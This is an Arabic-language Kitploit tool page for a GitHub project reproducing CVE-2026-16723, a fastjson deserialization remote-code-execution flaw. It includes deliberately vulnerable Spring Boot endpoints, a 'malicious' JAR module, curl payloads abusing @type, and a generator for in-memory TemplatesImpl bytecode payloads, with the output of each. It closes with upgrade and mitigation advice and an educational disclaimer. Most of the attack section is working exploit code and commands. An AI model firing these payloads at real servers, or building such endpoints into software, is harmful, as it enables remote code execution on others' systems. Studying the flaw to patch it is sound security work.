Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
fastjson-cve — مشروع استنساخ لـ CVE-2026-16723، ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة في fastjson 1.2.68-1.2.83. يوضح تجاوز AutoType، وحقن JNDI، وحمولات TemplatesImpl في الذاكرة مع نقاط نهاية Spring Boot الضعيفة. | Kitploit
أدوات/GitHubGitHub/ipisav/fastjson-cve
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليم
GitHubipisav/fastjson-cve

fastjson-cve

مشروع استنساخ لـ CVE-2026-16723، ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة في fastjson 1.2.68-1.2.83. يوضح تجاوز AutoType، وحقن JNDI، وحمولات TemplatesImpl في الذاكرة مع نقاط نهاية Spring Boot الضعيفة.

عرض المستودع
منذ 10س 58دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مشروع إعادة إنتاج CVE-2026-16723

نظرة عامة

يعيد هذا المشروع إنتاج CVE-2026-16723 — ثغرة حرجة لتنفيذ الأكواد عن بُعد (RCE) في fastjson 1.2.68 حتى 1.2.83. تسمح الثغرة بتنفيذ الأكواد عن بُعد (RCE) تحت الإعدادات الافتراضية دون الحاجة إلى تفعيل AutoType أو وجود أدوات (gadgets) مسبقة في مسار الفئات (classpath).

الخاصيةالقيمة
معرف CVECVE-2026-16723
المكوّنfastjson
الإصدارات المتأثرة1.2.68 – 1.2.83
الإصدارات المُصلَّحة1.2.84+، 2.0.0+
نوع الثغرةإلغاء التسلسل / تنفيذ الأكواد عن بُعد (RCE)
الخطورةCVSS 3.1: 9.0 (حرجة)
متجه الهجومالشبكة
التعقيدمنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدملا شيء

هيكل المشروع

root@kitploit:~
fastjson-cve-2026-16723/
├── pom.xml                              # المشروع الرئيسي (تطبيق Spring Boot مع fastjson الثغري)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # نقطة الدخول لتطبيق Spring Boot
│   └── controller/
│       └── VulnerableController.java    # نقاط نهاية REST الثغرية
├── malicious/                           # وحدة منفصلة: JAR خبيث لمحاكاة هجوم سلسلة التوريد
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # فئة خبيثة مع مُهيّئ ثابت (static initializer)
│       ├── EvilTranslet.java            # translet خبيث لوضع TemplatesImpl في الذاكرة
│       └── GenTemplatesPayload.java     # يُنشئ حمولة JSON الخاصة بـ TemplatesImpl
├── templates-payload.json               # حمولة TemplatesImpl المُنشأة (النسخة المباشرة)
├── templates-payload-preload.json       # حمولة TemplatesImpl المُنشأة (نسخة التحميل المسبق للفئة)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

تفاصيل الثغرة

السبب الجذري

يحتوي fastjson 1.2.68–1.2.83 على تجاوز في آلية الحماية AutoType. حتى مع الإعدادات الافتراضية (autoTypeSupport=false)، يمكن للمهاجمين إنشاء فئات عشوائية عبر حمولات JSON مصممة باستخدام سلاسل استغلال مثل:

  1. java.lang.Class + com.sun.rowset.JdbcRowSetImpl (حقن JNDI)
  2. java.lang.Runtime (تنفيذ أوامر مباشر)
  3. هجوم سلسلة التوريد عبر JAR خبيث في مسار الفئات (@type: exploit.MaliciousClass)

الكود الثغري

VulnerableController.java — نقطتا نهاية توضحان المشكلة:

root@kitploit:~
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // ثغري: JSON.parseObject مع الإعدادات الافتراضية
    // لا حاجة إلى ParserConfig.getGlobalInstance().setAutoTypeSupport(true)!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // فرض إلغاء التسلسل إلى Object — يُفعّل الإنشاء الفعلي للفئة
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

بناء المشروع

المتطلبات الأساسية

  • Java 8+
  • Maven 3.6+

أوامر البناء

root@kitploit:~
# بناء التطبيق الرئيسي
mvn clean package -DskipTests

# بناء JAR الخبيث (وحدة منفصلة)
cd malicious && mvn clean package && cd ..

المخرجات

  • target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR كامل لتطبيق Spring Boot
  • malicious/target/malicious-jar-1.0.jar — JAR خبيث يحتوي على exploit.MaliciousClass

تشغيل التطبيق

root@kitploit:~
java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

يبدأ الخادم على http://localhost:8080

متطلب وقت التشغيل: يستهدف هذا المشروع Java 8 وتم التحقق من وضع TemplatesImpl في الذاكرة على JDK 8. على JDK 9+ يحجب نظام الوحدات الوصول الانعكاسي إلى دواخل java.xml، لذا تفشل السلسلة مع Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ما لم تُضف علامات --add-opens:

root@kitploit:~
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

التحقق من أن مسار الفئات يتضمن JAR الخبيث

يُعلن ملف pom.xml الرئيسي عن JAR الخبيث كاعتماد (dependency)، لذا يتم تضمينه في JAR الكامل:

root@kitploit:~
<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

تحقق وقت التشغيل:

root@kitploit:~
curl http://localhost:8080/api/debug

اختبار الثغرة

فحص الصحة

root@kitploit:~
curl http://localhost:8080/api/test

المتوقع: CVE-2026-16723 Reproduction Endpoint Ready...


هجوم سلسلة التوريد (فئة خبيثة في مسار الفئات)

توفر وحدة malicious الفئة exploit.MaliciousClass مع مُهيّئ ثابت ينفّذ calc.exe عند تحميل الفئة.

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

النتيجة:

root@kitploit:~
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

ويتم تشغيل calc.exe على الخادم.

ملاحظة: يوضح هذا سيناريو سلسلة توريد حيث يوجد اعتماد خبيث في مسار الفئات. تسمح الثغرة بإنشاء أي فئة في مسار الفئات، وليس فقط فئات JDK.


وضع البايت كود في الذاكرة (TemplatesImpl، بدون خادم خارجي)

على عكس وضع سلسلة التوريد (الذي يتطلب وجود الفئة الخبيثة في مسار الفئات) ووضع JNDI (الذي يتطلب خادم LDAP/RMI)، يضمّن هذا الوضع البايت كود الخبيث مباشرة في الحمولة ويحمّله من الذاكرة عبر com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — لا حاجة لنشر أي شيء إضافي.

الخطوة 1 — توليد الحمولة:

root@kitploit:~
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

يقوم هذا بتجميع exploit.EvilTranslet (فئة فرعية من AbstractTranslet ينفّذ مُهيّئها الثابت calc.exe)، وترميز وحدات البايت الخاصة بملف .class بصيغة base64، وكتابة:

  • templates-payload.json — النسخة المباشرة ("@type": "TemplatesImpl")
  • templates-payload-preload.json — نسخة التحميل المسبق لـ java.lang.Class

الخطوة 2 — إطلاق الحمولة:

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

النتيجة:

root@kitploit:~
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

ويتم تشغيل calc.exe على الخادم.

⚠️ النتائج التجريبية (تم التحقق منها ضد fastjson 1.2.83): سلسلة TemplatesImpl لا يمكن تفعيلها تحت الإعدادات الافتراضية البحتة:

  • يتم رفض حمولة @type المباشرة بواسطة قائمة الحظر في AutoType (autoType is not support).
  • تفشل سلسلة التحميل المسبق لـ java.lang.Class لسببين: java.lang.Class نفسها موجودة في قائمة الحظر (autoType is not support. java.lang.Class)، وحتى التحميل المسبق لـ TemplatesImpl في تعيينات الفئات الداخلية لا يتجاوز قائمة الحظر — تم إصلاح تجاوز التعيين الخاص بإصدار 1.2.47 في 1.2.83.
  • autoTypeSupport(true) وحده غير كافٍ أيضًا: قائمة الحظر لها الأولوية على علامة autoType.
  • تعمل السلسلة فقط عندما تكون الفئة في القائمة البيضاء عبر ParserConfig.addAccept(...) (قائمة القبول لها الأولوية على قائمة الحظر) و يتم تفعيل Feature.SupportNonPublicField (حقول _bytecodes/_name/_tfactory في TemplatesImpl هي حقول خاصة).
  • تنفّذ نقطة النهاية /api/deserialize-autotype هذه المجموعة بالضبط.
  • وقت التشغيل: تم التحقق من السلسلة على JDK 8. على JDK 9+ يحجب نظام الوحدات الوصول الانعكاسي إلى دواخل java.xml، لذا يفشل إنشاء المثيل مع Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ما لم تُستخدم علامات JVM الواردة في تشغيل التطبيق.

نقطة النهايةالسلوك
POST /api/parseيحلل إلى JSONObject — قد لا يُفعّل إلغاء تسلسل كامل لجميع الحمولات
POST /api/deserializeيحلل إلى Object — يفرض إلغاء تسلسل كامل وإنشاء الفئة (الإعدادات الافتراضية)
POST /api/deserialize-nonpublicJSON.parse + Feature.SupportNonPublicField — يكتب الحقول الخاصة، لكن قائمة الحظر ما زالت تمنع TemplatesImpl
POST /api/deserialize-autotypeAutoType + addAccept + SupportNonPublicField — يُفعّل سلسلة TemplatesImpl في الذاكرة

لاستغلال الفئة الخبيثة، /api/deserialize مطلوبة لتفعيل المُهيّئ الثابت.


الإصدارات المُصلَّحة

قم بترقية fastjson إلى إصدار مُصحَّح:

root@kitploit:~
<!-- الخيار 1: fastjson 1.x (موصى به لمستخدمي 1.x) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.84</version>
</dependency>

<!-- الخيار 2: fastjson 2.x (موصى به للمشاريع الجديدة) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.0</version>
</dependency>

التخفيف (إذا لم يكن الترقية ممكنة فورًا)

root@kitploit:~
// تعطيل AutoType عالميًا (تخفيف جزئي — قد تستمر سلاسل الاستغلال في التجاوز)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// أو استخدام safeMode (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);

المراجع

  • NVD CVE-2026-16723
  • Alibaba fastjson2 Security Advisory
  • fastjson GitHub Repository

⚠️ إخلاء مسؤولية قانوني

هذا المشروع لأغراض البحث التعليمي والدفاعي الأمني فقط.

  • لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
  • المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر أو عواقب قانونية ناتجة عن استخدام هذا الكود.
  • اتبع دائمًا ممارسات الإفصاح المسؤول عند اكتشاف الثغرات.
  • يستخدم هذا الإعادة إنتاج حمولة غير ضارة (calc.exe) للتوضيح؛ يمكن أن تسبب الاستغلالات الحقيقية ضررًا شديدًا.

الترخيص

يُقدَّم هذا المشروع كما هو لأغراض البحث الأمني. لا يوجد ضمان صريح أو ضمني.

تنزيل الأداة